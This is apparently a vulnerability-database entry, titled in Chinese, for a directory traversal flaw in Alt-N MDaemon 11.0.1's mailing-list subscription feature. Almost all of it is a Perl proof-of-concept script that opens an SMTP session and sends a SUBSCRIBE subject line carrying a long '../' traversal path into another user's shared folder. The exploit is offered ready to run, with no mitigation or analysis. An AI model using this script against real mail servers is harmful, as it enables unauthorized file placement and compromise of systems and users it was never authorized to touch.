Alt-N MDaemon 11.0.1邮件列表订阅目录遍历漏洞

---snip--- use IO::Socket::INET; use MIME::Base64; $|=1; $sock = IO::Socket::INET->new(PeerAddr => 'localhost', PeerPort => '25', Proto => 'tcp'); print $sock "EHLO you\r\n"; print $sock "MAIL FROM: <niko>\r\n"; print $sock "RCPT TO: <MDaemon\@company.mail>\r\n"; print $sock "DATA\r\n"; print $sock "Date: 23 Oct 81 11:22:33\r\n"; print $sock "From: <niko>\r\n"; print $sock "To: <MDaemon\@company.mail>\r\n"; print $sock "Subject: SUBSCRIBE VVV\@\"../../../../../../../../../../../../../../../../../users/kcope/openshare/foobar\r\n"; print $sock "\r\n\r\ntest\r\n.\r\nQUIT\r\n"; print "."; while(<$sock>) { print; } ---snip---